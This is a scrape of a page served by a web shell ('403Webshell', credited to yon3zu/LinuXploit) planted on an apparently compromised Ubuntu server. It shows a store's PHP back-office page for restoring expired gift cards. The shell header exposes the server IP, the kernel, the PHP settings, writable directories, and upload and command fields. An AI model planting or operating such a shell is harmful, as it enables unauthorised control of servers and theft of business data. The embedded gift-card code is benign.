403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/tabs//gift_cards_expired.php
<?php
include 'protect.php';
include 'db.php';
include 'store_settings.php';
require_once __DIR__ . '/brand_header.php';
require_once __DIR__ . '/gift_card_helpers.php';

$message = '';
$error = '';
$expiredGiftCards = array();
$taxRate = getStoreTaxRate($conn);

function hExpiredGiftCard($value)
{
    return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = isset($_POST['action']) ? trim((string) $_POST['action']) : '';

    try {
        if ($action === 'restore_gift_card') {
            restoreExpiredGiftCard(
                $conn,
                isset($_POST['gift_card_id']) ? (int) $_POST['gift_card_id'] : 0,
                isset($_POST['expiration_days']) ? $_POST['expiration_days'] : 180
            );
            $message = 'Gift card restored.';
        }
    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}

try {
    $expiredGiftCards = fetchExpiredGiftCards($conn, $taxRate);
} catch (Exception $e) {
    $error = $e->getMessage();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Expired Gift Cards</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 30px;
            background: #f8fafc;
            color: #1f2937;
        }

        .container {
            max-width: 1100px;
            margin: 0 auto;
            background: #fff;
            padding: 28px;
            border-radius: 16px;
            box-shadow: 0 12px 32px rgba(15, 23, 42, 0.08);
        }

        .header-row {
            display: flex;
            justify-content: space-between;
            align-items: flex-end;
            gap: 16px;
            flex-wrap: wrap;
            margin-bottom: 18px;
        }

        .btn {
            display: inline-block;
            padding: 10px 14px;
            background: #1d4ed8;
            color: #fff;
            text-decoration: none;
            border: none;
            border-radius: 10px;
            font-weight: 700;
            cursor: pointer;
        }

        .btn-secondary {
            background: #64748b;
        }

        .msg {
            margin-bottom: 16px;
            padding: 12px 14px;
            border-radius: 10px;
        }

        .msg.ok {
            background: #ecfdf5;
            border: 1px solid #86efac;
            color: #166534;
        }

        .msg.err {
            background: #fef2f2;
            border: 1px solid #fca5a5;
            color: #991b1b;
        }

        .muted {
            color: #64748b;
            font-size: 0.92rem;
        }

        table {
            width: 100%;
            border-collapse: collapse;
        }

        th, td {
            text-align: left;
            padding: 10px 8px;
            border-bottom: 1px solid #e5e7eb;
            vertical-align: top;
        }

        th {
            background: #eff6ff;
            white-space: nowrap;
        }

        select {
            width: 100%;
            padding: 8px 10px;
            border: 1px solid #cbd5e1;
            border-radius: 10px;
            font: inherit;
        }
    </style>
    <?php echo appBrandStyles(); ?>
</head>
<body>
<div class="container">
    <?php renderAppBrandHeader(); ?>

    <div class="header-row">
        <div>
            <h1 style="margin:0;">Expired Gift Cards</h1>
            <div class="muted" style="margin-top:4px;">Cards move here automatically once the expiration date is reached. Restore one to make it active again.</div>
        </div>
        <a class="btn btn-secondary" href="gift_cards.php">&larr; Back to Active Gift Cards</a>
    </div>

    <?php if ($message !== ''): ?>
        <div class="msg ok"><?php echo hExpiredGiftCard($message); ?></div>
    <?php endif; ?>

    <?php if ($error !== ''): ?>
        <div class="msg err"><?php echo hExpiredGiftCard($error); ?></div>
    <?php endif; ?>

    <?php if (!$expiredGiftCards): ?>
        <div class="muted">No expired gift cards right now.</div>
    <?php else: ?>
        <table>
            <thead>
                <tr>
                    <th>Card</th>
                    <th>Expired</th>
                    <th>Start</th>
                    <th>Spent</th>
                    <th>Left</th>
                    <th>Restore</th>
                </tr>
            </thead>
            <tbody>
            <?php foreach ($expiredGiftCards as $giftCard): ?>
                <tr>
                    <td>
                        <a href="gift_card_detail.php?gift_card_id=<?php echo hExpiredGiftCard($giftCard['id']); ?>" style="font-weight:700;color:#1d4ed8;text-decoration:none;">
                            <?php echo hExpiredGiftCard($giftCard['card_label']); ?>
                        </a>
                        <?php if (!empty($giftCard['card_number'])): ?>
                            <div class="muted"><?php echo hExpiredGiftCard($giftCard['card_number']); ?></div>
                        <?php endif; ?>
                    </td>
                    <td><?php echo hExpiredGiftCard($giftCard['expiration_date']); ?></td>
                    <td>$<?php echo hExpiredGiftCard(number_format((float) $giftCard['initial_amount'], 2)); ?></td>
                    <td>$<?php echo hExpiredGiftCard(number_format((float) $giftCard['spent_total'], 2)); ?></td>
                    <td>$<?php echo hExpiredGiftCard(number_format((float) $giftCard['remaining_balance'], 2)); ?></td>
                    <td>
                        <form method="post" style="display:flex;gap:8px;align-items:center;flex-wrap:wrap;">
                            <input type="hidden" name="action" value="restore_gift_card">
                            <input type="hidden" name="gift_card_id" value="<?php echo hExpiredGiftCard($giftCard['id']); ?>">
                            <select name="expiration_days">
                                <?php foreach (giftCardExpirationOptions() as $days): ?>
                                    <option value="<?php echo hExpiredGiftCard($days); ?>" <?php echo $days === 180 ? 'selected' : ''; ?>><?php echo hExpiredGiftCard($days); ?> days</option>
                                <?php endforeach; ?>
                            </select>
                            <button class="btn" type="submit">Restore</button>
                        </form>
                    </td>
                </tr>
            <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit